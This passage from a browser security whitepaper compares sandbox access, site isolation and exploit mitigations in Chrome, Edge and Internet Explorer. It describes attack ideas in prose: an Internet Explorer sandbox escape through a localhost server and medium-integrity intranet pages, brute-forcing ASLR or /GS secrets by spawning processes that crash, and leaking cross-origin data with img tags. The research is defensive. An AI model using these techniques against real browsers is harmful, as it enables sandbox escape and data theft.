offer obvious vectors for sandbox escapes or other forms of privilege escalation. It is expected that
this access is granted through the NAMED CAPABILITIES\Registry Read capability and therefore
by design.

• Clipboard access: this process appears to handle access to the clipboard for all ofMicrosoft Edge, as
we were able to crash it with a NULL pointer by pasting maliciously formatted clipboard data in a
webpage. Access to clipboard data does not appear to be limited in AppContainers: we are not aware
of a capability SID that is required to access the clipboard. If technically possible, X41D-Sec GmbH
would advise tomove handling of clipboard data to a less privileged AppContainer.

• Authentication and certification access: this AppContainer has access to resources that require user au-
thentication through the enterpriseAuthentication capability and can define and use enterprise-
specific policies through the enterpriseDataPolicy capability. It can add and access software and
hardware certificates in the Shared User store through the sharedUserCertificates capability.

The other capability SIDs assigned to this AppContainer do not appear to be relevant to the security of the
sandbox.

7.4.2 Non-Management AppContainers

Resource Access
Network Allowed
Private networks and loopback Blocked
Port binding Blocked
File system Partially Blocked
Registry Partially Blocked
Process Partially Blocked

Table 7.6:Microsoft Edge Non-Manager AppContainer Sandbox

The remaining processes are used to render and show web resources, such as webpages, media files,
WebGL, Flash, PDF files (using a built-in PDF reader), extensions and application UI such as the new tab
page and about:flags. Microsoft refers to these as different AppContainers, but we found them to have
the exact same capability SIDs and therefor consider them to be different instances of the same type
of AppContainer (see table 7.6). However, access to the file system and registry differs between these
processes, and can be used to uniquely identify the various types of sandboxmentioned byMicrosoft in
their blog post.
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• File access: All these processes are able to access all files and folders in the%ProgramData%\Microsoft\-
Windows\WER folder, which belongs toWindows Error Reporting. They can also access some files in
sub-folders of the%LocalAppData%\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe folder. This
part of the file system is set aside forMicrosoft Edge to use for storage, so this file-system access is by
design and does not appear to raise any security issues. Different types of AppContainer have access
to a different sub-folder created specifically for that type and accessible only to that type and the
Manager AppContainer. These sub-folders are:
– #!001: AppContainers that host Internet and intranet webpages.
– #!002: AppContainers that host the new tab page.
– #!003: AppContainers that host extensions.
– #!004: AppContainers that host settings pages.
– #!005: AppContainers that host Adobe Flash
– #!006: AppContainers that host Out Of Process (OOP) Chakra JS compilers
– #!121: unknown AppContainers

Note that, unlikeMicrosoft suggest, wewere unable to identify two separate types of AppContainer
that hosts intranet and Internet pages respectively: both appear to be hosted in type 001.
For the sake of brevity, we’ve not provided a complete list of all files, folders and the access rights
these processes have to them. The full list can be found in the test results published on GitHub19.

• Network access: These AppContainers have the internetClient capability, which should allow them
to connect to Internet sites, but not to intranet sites or the loopback device. They should also not
be able to accept connections on the intranet or the loopback device. Regardless, we found that
all Microsoft Edge processes were able to open connections to the loopback device and the local
machine using its intranet IP address. Whether these AppContainers were able to connect to other
machines on the local intranet depends on the network category of the local network, as explained
above. This means that if a targetedmachine has its local network set to public, an attacker who can
successfully run arbitrary code inside such an AppContainer can attempt to attack local network
resources, rather than trying to escape the sandbox. The security level of devices found commonly
on enterprise networks such as printers, scanners and other Internet-of-Things components is well
below that of modernweb browsers’ sandboxes. X41D-Sec GmbH assumes that wewill likely see
more attacks that use the web browser as a staging point for attacks on network connected devices
that are not directly accessible from the Internet, but can be accessed from inside of the local network.
Note that these AppContainers are not granted access to local network resources when the network
category is set to work or private or when it is domain-controlled. However, parts of larger enterprise
networks that have several subnets and several Active Directory domains may be considered part of
the Internet and accessible. Normally networks of domain controllers knownby aMicrosoftWindows
machine are automatically considered private, yet in case of several domains and routed networks
this might not be sufficient.

19https://github.com/x41sec/browser-security-whitepaper-2017/
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Figure 7.6:Microsoft Edge Content-Process Network Access

As shown in figure 7.6 we can confirm that content processes are also actively using network access
they have and this appears to be by design.

• Process access: These processes have full access to themselves and limited access to the Manager
AppContainer (QueryInformation |QueryLimitedInformation |Synchronize ). This appears to be
by design and does not appear to offer an attacker any useful attack vector.

• Registry access: All these AppContainers have access to parts of a registry created specifically for the
Microsoft Edge app, under the key \REGISTRY\USER\<userid>\LocalSettings\Software\Micro
soft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8b

bwe, but not to any other part of the registry. Specifically, they share the same access to everything
under the MicrosoftEdge key. Different types of AppContainers have access to another sub-key
created specifically for that type and accessible only to that type. These keys are:
– 001 : AppContainers that host Internet and intranet webpages.
– 002 : AppContainers that host the new tab page*.
– 003 : AppContainers that host extensions.
– 004 : AppContainers that host settings pages.
– 005 : AppContainers that host Adobe Flash
– 006 : AppContainers that host OOPChakra JS compilers
– 121 : unknown AppContainers

Note, that wewere unable to identify a separate type of AppContainer that hosts intranet pages. You
may have noticed that these key-namesmatch the folder names we found in the file access tests.
The type 004 and 121 AppContainers also have access to the \REGISTRY\USER\<userid>\Softwa
re\Microsoft\Windows\WindowsErrorReporting\Plugins key.
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This access to the registry should not offer an attacker an immediate vector to sandbox escapes or
other security issues and allows the different types of AppContainers to store data outside the reach
of the other types.
X41 D-Sec GmbH noticed the presence of type 121 AppContainers during testing, but was unable to
find out how to reliably trigger their creation or what they are intended for. However, since they do
not appear to differ from the other AppContainers in any significant way, we do not consider them an
additional security risk and did not further investigate.
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7.5 INTERNET EXPLORER SANDBOX (PROTECTEDMODE)
Resource Access
Network Allowed
Private networks and loopback Allowed
Port binding Allowed
File system Allowed
Registry Allowed
Process Allowed

Table 7.7: Internet Explorer UI / Frame Process Access

On versions of Microsoft Windows before version 10, Internet Explorer could be run in EPM: Internet
Explorer was run as a UWP app (akaMetro style app) that used AppContainers to improve the sandbox.
However, onMicrosoftWindows 10, EPM has been “replaced” byMicrosoft Edge as more secure browsing
mode. As such, EPM is no longer available and Internet Explorer does not use AppContainers.
There is no built-in PDF feature in Internet Explorer. Instead, the user is prompted how to handle the PDF
file type similar to other file types such asMicrosoft Office files.
Themain Internet Explorer process runs at medium integrity (see table 7.7). For each tab, a separate low
integrity process is created in desktopmode. Flash andWebGL run in the same process as thewebpage
that loaded them in Internet Explorer. However, intranet pages are loaded in processes running at medium
integrity.

Resource Access
BlockedNetwork Allowed
Blocked Private networks and loopback Allowed
Blocked Port binding Allowed
Blocked File system Partially Blocked
Blocked Registry Partially Blocked
Blocked Process Partially Blocked

Table 7.8: Internet Explorer Content Process Access

The low integrity processes are not sandboxed very well (see table 7.8); they have access to some parts of
the file system, can accept andmake connections on the loopback device and local network and connect to
the Internet, can enumerate the processes running as the user on the local system and access some of their
properties (Terminate|QueryLimitedInformation|Synchronize access rights), and access some parts of the
registry. A full list of everything these processes have access to can be found in the GitHub repository.
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Of particular interest is the ability to bind to a network port, and that local intranet pages are hosted in
processes running at medium integrity. An attacker able to exploit an issue in Internet Explorer to run
arbitrary code in a low integrity process can start a web-server running in this process on a local port. They
could then navigate to a webpage on this local web-server, which will be considered an intranet page and
therefore hosted in a medium integrity process. The attacker can then exploit the same issue again to
execute arbitrary code in themedium integrity process and escape the sandbox.

7.6 SANDBOX ACCESS COMPARISON
The below table (see table 7.9) gives an overview of the potential attack surface exposed to an attacker
for all sandboxed processes in all browsers. We have left all non-sandboxed processes out of this table for
brevity.
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Google Chrome Renderer / PPAPI process       

Google ChromeGPU process # #   G# G#

Microsoft EdgeManager AppContainer # G#  G# G# G#

Microsoft Edge Non-Managem. AppContainer # G#  G# G# G#

Internet Explorer content processes # # # G# G# G#

Table 7.9: Comparison of Sandbox Access to Resources ( - True,# - False,G# - Partly)

Since untrustworthy content is processed by browsers, all browsers have content or renderer processes
withmore restricted privileges. As shown in table 7.9 the Google Chrome renderer and PPAPI processes
have the least access rights while content processes of Internet Explorer have at least partial access to
all resources. Microsoft Edge content processes are also very restricted but still have partial access to
resources such as the registry or processes. Most notablyMicrosoft Edge content processes have access to
the network stack and can connect to public networks.
Very interesting from an attackers point of view are processes such as theManager AppContainer in Mi-
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crosoft Edge or the GPU process in Google Chrome. They are used for actions that need access tomore
sensitive resources such as the graphics drivers or authentication credentials. However, they are also
processing possibly untrusted input and interact closely with more restrictive sandboxes. Their level
of sandboxing was found to be less restricted. The Google Chrome GPU process is sandboxed more re-
strictively than theMicrosoft EdgeManager AppContainer. We observed bymanual inspection that the
Manager AppContainer is used for different tasks ranging from handling authentication to handling ac-
cess to protected resources such as the picture library. In contrast, the level of compartmentalization
was stronger in Google Chrome. Multiple different processes are used for specific tasks as for example
rendering and GPU access or utility processes that execute specific tasks.
In conclusion, we consider the level of sandboxing in Google Chrome to be themost restrictive andmost
secure. We think this is because Google Chrome separates and compartmentalizes tasks into individual
processes that can be sandboxedmore restrictively.
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8 Process andOrigin Isolation

For web browsers, the same-origin policy defines a security boundary between webpages. It basically
restricts access to reading andwriting data across webpages if they are defined as being in different origins.
More details about the same-origin policy can be found on RFC64541, the chromium pages2 orWikipedia3.
Bypassing a browsers same-origin policy generically is called Universal Cross-site Scripting (UXSS).
Browsers already implement the same-origin policy to preventmalicious websites from attacking other
websites using DOM, Javascript and other APIs. However, the same-origin policy is traditionally imple-
mented at a high level in these APIs. An attacker able to compromise a browser process and execute
arbitrary code could potentially bypass these checks at a lower level.
By hosting each origin in a different process, preventing direct access between these processes, and
applying the same-origin policy in the APIs used by these processes for inter-origin communications, the
same-origin policy can be enforced at all levels in a browser.
While origins and sites with privileged access such as the settings pages are traditionally isolated from
other web contents, different Internet origins were not separated on a process level. Tomitigate attacks
resulting from this situation, a process level isolation including sandboxing could be a solution.
A feature called Site Isolation was introduced4 in Google Chrome recently. Site isolation uses multiple
sandboxed processes to isolate websites in different origins at the process level.
We consider process isolation as one of themost important, yet underestimated building blocks of browser
security. Without isolation of different origins, a strong sandboxwill not protect against loss of sensitive
data and compromise of privileged origins.
1https://tools.ietf.org/html/rfc6454
2https://www.chromium.org/developers/design-documents/site-isolation
3https://en.wikipedia.org/wiki/Same-origin_policy
4https://www.chromium.org/developers/design-documents/site-isolation
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8.1 IMPLEMENTATIONS OF PROCESS ISOLATION
X41D-Sec GmbH testedwhether browsers implemented process level isolation correctly by examining
if new processes were spawned for pop-up windows and iframes that contained cross-origin webpages,
setting pages, and extensions. The results are as shown in the following table 8.1:

Isolation Google Chrome Microsoft Edge Internet Explorer
Pop-ups (window.open) G# # #
iframes G# # #
Extensions  n/a n/a
Settings / About Pages  G#  

TabNavigation  # #
Subdomains # # #
Resources (script) G# # #
Resources (img) # # #

Table 8.1: Site Isolation Results ( - True,# - False,G# - Partly)

Wedid not find a suitable example for aMicrosoft Edge extension to extensively test isolation due to the
limited number of available extensions. Also, due to the complexity of IPC and authorization enforcement
of the web browser we could not completely test the enforcement of resource access restrictions by the
broker or main browser processes. Even when sites are completely isolated into different processes it
might be possible that the broker incorrectly gives access to resources via IPC requests that should not be
available to the requester. This should be consideredwhen further hardening isolation.
We describe the results of the tests in the following.

8.1.1 Process Level Isolation in Google Chrome
Google Chrome does not apply full process level isolation by default. Isolation of different origins from
each other is applied for special origins like the Google Chrome web store, internal chrome:// (about:)
URLs, and extensions. Pages openedmanually by the user in new tabs are also run in a separate process,
but cross-origin webpages opened using window.open or in iframeswill run in the same process as the page
that opened them.
Some origins seem to bemore protected such as the Google Chrome store. Figure 8.1 shows that when
opening the Uniform Resource Locator (URL) https://chrome.google.com/webstore/category/apps
?hl=de in a pop-upwindow usingwindow.open, Google Chrome spawned a new process to host theweb-
store.
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Figure 8.1: Google Chrome Process IsolationWebstore

Figure 8.2: Google ChromeMissing Isolation

Other sensitive sites such as https://myaccount.google.com are hosted in the same process as the one
fromwhich they are opened, as seen in figure 8.2. To demonstrate the impact of a compromised renderer, a
crash was initiated in the parent tab as displayed in figure 8.3a.
Sites loaded in iframes (see figure 8.3b) in Google Chrome are subject to the same site isolation / process
policy as pop-upwindows created using window.open.
Figure 8.4 displays the Google Chrome PDF reader extensionwhich is hosted in a separate process from
the page that opened it.
Also, resources loaded by a webpage using for instance script or imageHTML tags are processed inside the
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(a)CrashMissing Isolation (b) iFrame

Figure 8.3: Google Chrome Renderer

Figure 8.4: Google Chrome Extension Isolation

same renderer evenwhen they are from different origins. We confirmed that content from different origins
is loaded into thememory of a single renderer by using an image tag, i.e.

1 <img src='https://myaccount.google.com'>

For script tags this is partly mitigated because strictMultipurpose InternetMail Extensions (MIME) type
checking prevents non-scripts from being loaded from different origins. This prevents for example the
loading of https://myaccount.google.com inside a script tag.
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8.1.1.1 Google Chrome Experimental Site-Per-Process Support

Isolation Google Chrome
Popups (window.open)  

iframes  

Extensions  

Settings / About Pages  

TabNavigation  

Subdomains #
Resources (script) G#

Resources (img) #

Table 8.2: Google Chrome Experimental Site IsolationOverview ( - True,# - False,G# - Partly)

Google Chrome also has experimental support for full process level isolation as described in the documen-
tation5. The updated results are displayed in figure 8.2.

5https://www.chromium.org/developers/design-documents/site-isolation
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Figure 8.5: Google Chrome Process Isolation Experimental

We confirmed that all iframes and tabs with different origins are isolated in individual processes as shown
in figure 8.5. This is even true for 100webpages in different origins opened via the JavaScriptwindow.open
function; a separate process was created for each website. Note that process level isolation does not
apply to sub-domains; i.e. a.example.com can be hosted in the same process as b.example.comwith full
experimental isolation enabled. Google Chrome does take into account certain second-level domains such
as .co.uk. This makes sure that sites such as a.co.uk and b.co.uk do not share the same process with
experimental isolation enabled. However, other sites such as those found under sub-domains of the popular
github.io domainmay share the same process.
We found that it is still possible to load arbitrary content from other origins into an isolated renderer by
using img tags. This partially subverts the isolation since attackers can exploit this to load content they
want to access from different origins. Using this, secret Cross-Site Request Forgery (CSRF) tokensmay be
learnt that would allow to launch CSRF attacks against remote sites. Also possibly confidential content
from other origins could be accessed by exploiting this.
We tested the cross origin resource access by loading a large file as image on a test website or script
and checking the memory space of the renderer responsible for handling this site. We did not test
XMLHttpRequest (XHR) or fetch API requests but assume behaviour will be similar to handling script
tags.

8.1.2 Process Level Isolation inMicrosoft Edge
Microsoft Edge currently has no process level isolation between different Internet origins; webpages from
different domains are hosted in the same process when opened usingwindow.open or iframes. The settings
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Figure 8.6:Microsoft Edge Site Isolation

are hosted in a different AppContainer and therefore in a different process.
When a navigation to a different public Internet origin is initiated in a tab, no new content process is
spawned. Instead, the existing content process is reused. If a malicious origin could compromise a content
process, all further origins processed by this content process could also be compromised. This was tested
using the Fiddler6 web debugging proxy as displayed in figure 8.6.
The isolation concept ofMicrosoft Edge is different to Google Chrome in that there is a distinction between
Internet origins and private Intranet / trusted sites. Depending on the network location, pages are started
in a different AppContainer. We could confirm that Microsoft Edge will open an Intranet website in a
different AppContainer and content process when it is navigated to from a tab that hosts an Internet
website.
6http://www.telerik.com/fiddler
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8.1.3 Process Level Isolation in Internet Explorer
Internet Explorer currently has no process level isolation between different origins; webpages from dif-
ferent domains are hosted in the same process when opened usingwindow.open or iframes. The settings
page is not part of the web browser as such, but part of theWindows Control Panel and is therefore not
hosted in the same process as any webpage. The downloads and extension pages are displayed by the
parent (non-sandboxed) process and are therefore also not in the same process as any webpage.

8.2 PROCESS SPAWNING AND EXPLOITATION
Isolation on a process level does have one potential downside: it allows an attacker to force a browser
to spawn new processes at will and host content under their control in these new processes. This can
be useful if an attacker is attempting to exploit a vulnerability that is inherently unreliable and prone to
unpreventable crashes: loading such an exploit in an iframe or pop-up window in another origin will make
sure that if the exploit fails, the page that opened it will continue to run. This allows the attacker to load the
exploit again and again until it succeeds. Similarly, this allows brute-force attacks on secret values used by
mitigations such as Address Space Layout Randomization (ASLR), /GS (the buffer security check) or Virtual
Table Guard (VTGuard).
We have created a Proof of Concept (PoC)A which simulates an attack that requires brute-forcing a
magic value and abuses the isolation to achieve this. It consists of amain page running in one domain (e.g.
127.0.0.1) and test pages loaded in another domain (e.g. localhost). Themain page opens a test page and
provides a value to test. If the wrong value is provided, the test page crashes. If the right magic value is
provided, themain page will be navigated by the test page to report that the test completed successfully. In
this scenario, with experimental process level isolation enabled in Google Chrome, crashing the process
that hosts a test page does not affect themain page. Themain pagewill continue to load test pages with
different values until it finds the right magic value.
The PoCwe provided is looking for the number 28, starting at 0, increasing by one after each failed test.
This should be sufficient to proof this type of attack works reliably while completing within a reasonable
amount of time. We have tested that it is possible to find much higher numbers and cause many more
crashes before doing so. Various optimizations to the code should allow an attacker to speed up this test
significantly, such as usingmultiple domains to test several values in parallel.
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9 Hardening and ExploitMitigation

Modern applications use an array of techniques to attempt tomitigate against vulnerabilities in their code.
Some of these are implemented by the Operating System, some are added by the compiler at compile
time, and some are implemented by the applications themselves tomitigate threats that are specific to the
application.
Many of these techniques are enabled at runtime such as the lockdown ofwin32k.sys syscalls described
below in subsection 9.3.13.0.1.
It canbedebatedwhether the above techniques arehardeningor sandboxing techniquesbut that discussion
is not relevant to their functioning or impact on security. We have left that discussion out of this paper and
chosen to cover all of these in this chapter.

9.1 TESTINGMETHODOLOGY
Wedeveloped a suite of automated tests to reliably and repeatably determine what mitigations are applied
to various processes and binaries used by the tested browser. This test suite is described in more details in
the TestingMethodology sub-section of the chapter 7 section. In short, these tests start each browser in a
debugger to enumerate all processes and binaries used by the application. The processes are suspended
and various third-party applications that are specifically designed to test the presence and effectiveness of
sandboxes and hardening techniques are run. For the hardening tests, we used the ProcessMitigations1
and PESecurity2 powershell scripts. ProcessMitigations is run once for each process and PESecurity once
for each binary in each process. The output of these scripts is parsed to produce one report for each
process, which combines all this information. The format of this report is such that it should be easy to use
a regular expression search to find out in which processes and/or binaries a particular mitigation is enabled
or disabled.
Unlike the tools used to test the sandbox, this tool does not check if all the hardening features are actually
applied in the process, but simply checks if theOS reports them as enabled in the process. For instance, the
1https://www.powershellgallery.com/packages/ProcessMitigations/1.0.7
2https://github.com/NetSPI/PESecurity
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tool does not attempt to execute code in non-executablememory to test if Data Execution Prevention (DEP)
is enabled, nor does it test if binaries are loaded at random addresses to test if ASLR is enabled. These
hardening techniques are implemented in theOS, which is not part of the browser and not covered by this
paper: we assume theOS has implemented thesemitigations correctly.

9.2 NOMENCLATURE
Various mitigations and hardening techniques are known by a number of different names, especially those
for which similar techniques exist on other Operating Systems (e.g. DEP vs No-eXecute (NX), CFG vs
Control Flow Integrity (CFI)). A number of mitigations are sometimes grouped together because they
have a similar function and/or work together to harden against multiple attack vectors for the same issue.
For instance, Device Guard UserMode Code Integrity (UMCI) appears to be the same as Code Integrity
Guard (CIG). Both appear to refer to a combination of Signature Checks, Child Process Policy (prevent a
process to spawn child processes), and Arbitrary Code Guard (ACG). In such cases, we use what we found
to be themost common name for each individual hardening technique and do not cover or mention any of
these groups.

9.3 HARDENING TECHNIQUES
Below (see table 9.1) is a list of mitigations and their status in Google Chrome,Microsoft Edge, and Internet
Explorer.

Feature Google Chrome Microsoft Edge Internet Explorer
/GS    

ACG #  #
ASLR    

Allocator Hardening G# G# G#

CFG G#   

Child Process Policy G# G# #
DEP   G#

HIGHENTROPYVA    

No Extension Point DLLs G# G# #
No Invalid Handles G# G# #
No Low-integrity binaries G# # #
NoRemote DLLs G# G# #
No direct win32k syscalls  G# #
OOP JS compilation #  n/a
SEHOP    

Signature checks # G# #
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System Fonts only G# # #
VTGuard G# G# G#

Table 9.1: Comparison of Hardening Features ( - True,# - False,G# - Partly)

9.3.1 /GS
/GS3 detects some attempts to write data outside the bounds of a stack-based buffer by checking if a
security cookie stored immediately adjacent to the buffer has been modified when the function that
created the buffer returns, or when an exception is thrown. If modified, the application is terminated. In
certain situations, it alsomakes copies of parameters passed to a function below the buffer on the stack, and
uses these copies rather than the original values in the function, to reduce the chance of an out-of-bounds
write modifying the value of these arguments.
All tested browsers enable /GS in all their processes.

9.3.2 Arbitrary Code Guard (ACG)
ACG prevents the creation of non-signed executable code as well as themodification of signed executable
code in a process. This is done by preventing the process from creating memory that is both executable and
writable.
Google Chrome and Internet Explorer do not use ACG at this time. Microsoft Edge enables ACG only in
a subset of its sandboxed processes, namely the AppContainers that host webpages (type 001), the new
tab page (type 002), extensions (type 003), and the about:flags and about:config (type 004). It is not
enabled in any of the non-sandboxed processes, nor in theMain AppContainer or the AppContainers that
host Adobe Flash (type 005) and theOOP JavaScript (JS) compiler (type 006). The latter is by design and
makes sense, as this compiler generates arbitrary code by definition. This OOP JS compilation allows the
use of ACG in the other processes, as they do not need to generate arbitrary code themselves. Formore
information about the types of sandboxed processes thatMicrosoft Edge uses, see the chapter 7.
It would make sense to enable ACG in all processes that do not need the features it disables. It would
appear that this includes more processes of all the tested browsers then are currently protected. X41
D-Sec GmbH advises all vendors to consider enabling ACG for as many processes as possible.

9.3.3 Address Space Layout Randomization (ASLR)
ASLR prevents data and/or code from being located at a static address in all instances of a process to
prevent an attacker from using the predictability of these addresses in an exploit. It causes the location of
3https://docs.microsoft.com/en-us/cpp/build/reference/gs-buffer-security-check
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various data and code inmemory to be chosen at random, so that any attempt to use a static address in an
exploit is unlikely to point to the correct memory, most likely resulting in an access violation. An application
can choose to opt-out of ASLR4, but it is enabled by default for all applications running onmodern versions
ofWindows. Note that ASLR does not protect against local attackers, since Dynamic Link Library (DLL)
files aremapped to the samememory for all processes and only re-randomized after anOperating System
restart.
Because of the limited address range available in 32-bits processes, the amount of RandomAccessMemory
(RAM) installed on modern computers and the control over allocations an attacker has in a browser, an
attacker could potentially allocate memory across nearly the entire address space in a process. This allows
an attacker to use a read or write primitive to try to read from random addresses with a very limited risk
of causing an access violation. Without such access violations, the attacker could continue to try reading
from and/or writing to various addresses to find information about thememory layout that can be used to
completely bypass ASLR. We therefore do not believe ASLR is an effectivemitigation in 32-bit versions of
any browser.
The randomness (or entropy) used by ASLR in 64-bit processes can vary depending on the settings in
the binaries it loads. The main binary can specify if it wants to enable high entropy ASLR; enabling this
significantly increases the address space range at which a binary can be loaded. Individual binaries can also
opt-out of ASLR. Binaries that lack a relocation table cannot be loaded at any other address than the one
specified in the binary. The process can inform theOperating System that it should not allow any binaries to
opt-out of ASLR and to not allow the loading of binaries that lack a relocation table. This prevents attackers
from bypassing ASLR if they can find a way to load a binary with ASLR disabled or without a relocation
table.
All tested browsers enable ASLR in all their processes. However, individual binaries can opt-out of ASLR
if they have a specific flag set in their headers. An application can ask the operating system to disallow
loading of such binaries as an extra mitigation. Google Chrome is the only tested browser that does not
explicitly disallow loading of non-ASLR-enabled binaries. However, Google Chrome is not designed to load
arbitrary binaries, regardless of their ASLR status. The ability to trigger the load of an arbitrary module
itself would already allow arbitrary code execution, so enabling this mitigation would have limited value.
Binaries require relocation information in order for ASLR to be able to load them at a random address.
Binaries without relocation informationmust be loaded at a specific address. An application can ask the OS
to not load anymodule that has had its relocation information stripped to prevent an ASLR bypass using
such amodule. None of the tested browsers does this. X41D-Sec GmbH advises all vendors to enable this
mitigation.

4https://docs.microsoft.com/en-us/cpp/build/reference/dynamicbase-use-address-space-layout-randomizati
on
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9.3.4 Allocator Hardening

Feature Oilpan PartitionAlloc Discardable memory Malloc MemGC
Randomization   G# G#  

MemoryWipe on Alloc  # # #  

MemoryWipe on Free  # # #  

Metadata dedicated G#   #  

Allocation Size-Grouped   # #  

Garbage Collection  # # #  

Table 9.2: Comparison ofMemory Allocators ( - True,# - False,G# - Partly)

This section compares the allocators used by the different browsers. A feature comparison can be seen in
table 9.2, for details read the descriptions.

9.3.4.1 Allocators of Google Chrome

TheGoogleChromebrowser uses four different allocators, which have different security properties and are
used in different parts of the browser. These are Oilpan, PartitionAlloc, Discardable memory andmalloc.

9.3.4.1.1 Oilpan Oilpan is a memory allocator with an integrated Garbage Collector (GC). The GC
ensures that memory is only freed and available for a new allocation once it is ensured that it is no longer
used. This prevents use-after-free vulnerabilities, since an object or memory region is only freed when the
GC can ensure that it is no longer used. This is done by using amark-and-sweep algorithm5.
Oilpan (also called Blink GC) is implemented in src/third_party/WebKit/Source/platform/heap/. Under the
hood, Oilpan uses parts of PartitionAlloc (e.g.AllocPages()) for allocations to randomize the addresses of the
allocated pages. In theory, it is modular enough to use other allocators as well. Furthermore, guard pages
are added before and after each heap region, to prevent linear over- and underwrites into other regions.
Memory is overwritten on free() via SET_MEMORY_INACCESSIBLE(), before being added to the free list or
when being shrunken inHeapPage.cpp. Memory allocated is either retrieved from the free list (where it is
zero) or via AllocPages()which in turn usesmmap() orVirtualAlloc(), which return zeroedmemory.
Metadata is only partly6 near the allocated data. On debug builds, themetadata is protected with a 32 bit
canary (magic_ ) on 64-bit systems. This overwrite protection is missing on production builds.
5https://chromium.googlesource.com/chromium/src/+/master/third_party/WebKit/Source/platform/heap/BlinkG

CDesign.md
6https://struct.github.io/oilpan_metadata.html
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9.3.4.1.2 PartitionAlloc Google Chrome uses the PartitionAlloc allocator for the Blink layout engine
(as default allocator, for everything not handled byOilpan) and pdfiumPDF renderer, to prevent certain
attacks possible bymemory corruptions. Themain hardening feature is that allocations happen in pools,
where different objects end up in different pools. These pools are separated by guard pages, which detect
linear over- and underflows of the memory pages. In addition to this, metadata is stored on a different
page, therefore overflows can not corrupt it, which prevents certain classical heap overflow exploitation
techniques.
PartitionAlloc provides the following security features7:

• Linear overflows cannot corrupt into the partition.
• Linear overflows cannot corrupt out of the partition.
• Metadata is recorded in a dedicated region (not next to each object).
• Linear overflow or underflow cannot corrupt themetadata.
• Buckets are helpful to allocate different-sized objects on different addresses.
• One page can contain only similar-sized objects.
• Dereference of a freelist pointer should fault.
• Partial pointer overwrite of freelist pointer should fault.
• Large allocations are guard-paged at the beginning and end.

A fork exists, which contains further hardening features8, for example additional randomization, clearing
of data at allocation and freeing time as well as a delayed free and improved double-free detection. This
shows, that there is room for improvement security wise, which has several performance drawbacks. The
implementation used by Google Chrome gets memory cleared by theOS, but does not zero the contents
upon free() and reuse.
Currently, PartitionAlloc in Google Chrome is used for the pools fast_malloc_allocator_, array_-
buffer_allocator,buffer_allocator_ andlayout_allocator_ in theWebTemplateFramework (WTF)
engine. PDFium uses PartitionAlloc partitions for string types, general allocation, and JavaScript Array-
Buffers. Each of these partitions contains several buckets, which group similar sized objects of the partition
together.

9.3.4.1.3 Discardable memory Discardable memory9 is used to cache large objects on memory con-
strained systems. If memory pressure occurs, objects which are not locked can get discarded to free
7https://chromium.googlesource.com/chromium/src/+/dcc13470a/third_party/WebKit/Source/wtf/PartitionAllo

c.md#Security
8https://github.com/struct/HardenedPartitionAlloc
9https://docs.google.com/document/d/1aNdOF_72_eG2KUM_z9kHdbT_fEupWhaDALaZs5D8IAg/edit
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formerly allocatedmemory. The allocations are implemented usingmemorymapped files (see src/base/-
memory/shared_memory.h in Chromium source code). Discardable memory does not seem to offer any
security hardening features by itself. Randomization is partly possible, depending on themmap() implemen-
tation of theOS.

9.3.4.1.4 malloc malloc() is the default OS allocator, which is used in the cases not covered by the other
allocators. Themalloc() implementation and hardening differs based on theOS. Usually, memory is wiped
neither onmalloc() nor free(), but mostmodern operating systems likeMicrosoftWindows offer ASLR to
randomize the base address of the heap and other hardening features. InMicrosoftWindows 8 additional
heap hardening features were introduced10 and further improved inMicrosoftWindows 1011.

9.3.4.2 Allocators ofMicrosoft Edge and Internet Explorer

Microsoft Microsoft Edge and Internet Explorer on Microsoft Windows also use several techniques to
harden heap allocators against exploitation attempts.

9.3.4.2.1 Memory Garbage Collection (Memory Garbage Collection (MemGC)) The heap allocators
used in Microsoft Edge and Internet Explorer have gone through a number of steps to harden against
vulnerabilities. The current allocator used by the HTML rendering engines of both Microsoft Edge and
Internet Explorer is calledMemGC. This is amemorymanager that uses amark-and-sweep approach to
garbage collection to attempt to reduce the risk of use-after-free issues. MemGC does not remove the
requirement to explicitly manage object life-time: objects are still explicitly allocated and released by
the code, but rather than immediately free the memory for an object released by the code, objects are
occasionally scanned to determine which of these objects might still be used by the code. Only objects
that the code is no longer using are actually freed. MemGC is used in the HTML rendering engines of both
Microsoft Edge (edgehtml.dll) and Internet Explorer (mshtml.dll). It is not used by any other component, such
as the JavaScript engines (chakra.dll and jscript9.dll respectively).
MemGCwas preceded by IsolatedHeap andMemory Protector, both of which have been replaced entirely
byMemGC.

9.3.4.2.2 Heap Isolation BeforeMicrosoft Edgewas available, Internet Explorer introduced amitiga-
tion called IsolatedHeap, which was a separate heap used to store all and only DOMObjects. This made it
hard for an attacker to exploit certain vulnerabilities bymanipulating the heap becausemany commonly
used techniques applied to themain heap, not the DOMobject heap. Heap Isolation effectively mitigated
10https://media.blackhat.com/bh-us-12/Briefings/Valasek/BH_US_12_Valasek_Windows_8_Heap_Internals_Slides.

pdf
11https://github.com/MicrosoftDocs/windows-itpro-docs/blob/master/windows/threat-protection/overview-o

f-threat-mitigations-in-windows-10.md#windows-heap-protections
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attacks using a common technique called “heap feng-shui”12. IsolatedHeap itself is no longer usedwhen
MemGC is enabled inMicrosoft Edge and Internet Explorer (the default settings), butMemGC allocates all
objects in a separate heap similar to IsolatedHeap. Thus, MemGC provides the same kind of mitigation.

9.3.4.3 JavaScript memorymanagement in Internet Explorer

The JavaScript engine of Internet Explorer is implemented in jscript9.dll. When objects are created, the
engine in jscript9.dllmostly allocatesmemory directly on themain process’ heap. Some objects are allocated
through other components, this is true for strings; these are represented as BSTR structures and allocated
through OLEAUT32.dll, which also uses the main process’ heap. This means that objects that contain
easy-to-control data, such as arrays and strings, are allocated on a heap that is used bymany potentially
vulnerable components and can often be used in exploits to control the contents of the heap. This used to
be of particular concern in Internet Explorer until the introduction of heap isolation.

9.3.4.4 JavaScript memorymanagement inMicrosoft Edge

The JavaScript engine of Microsoft Edge, called Chakra, has a more sophisticated memory manager on
which MemGC is based. The security of both the memory manager used by Chakra and MemGC are
therefore the same; please see above for details onMemGC.

9.3.5 Control FlowGuard (CFG)
CFG13 uses awhite-list of validC++methods to prevent execution of arbitrary code throughmodification of
a Virtual Function Table (vftable) (virtual function table) pointer. Typically, in such an attack, a C++ object’s
vftable pointer is modified to point to a fake vftable before having the code attempt to call a method of this
object. The caller will attempt to look up the address of themethod’s code using the fake vftable, before
calling it. This allows the attacker to control execution flow and execute arbitrary code. CFG restricts the
values that the fake vftable can contain: before the caller calls the address retrieved from the (fake) vftable,
it checks if it is in the white-list, and immediately terminates the application if it is not. This severely limits
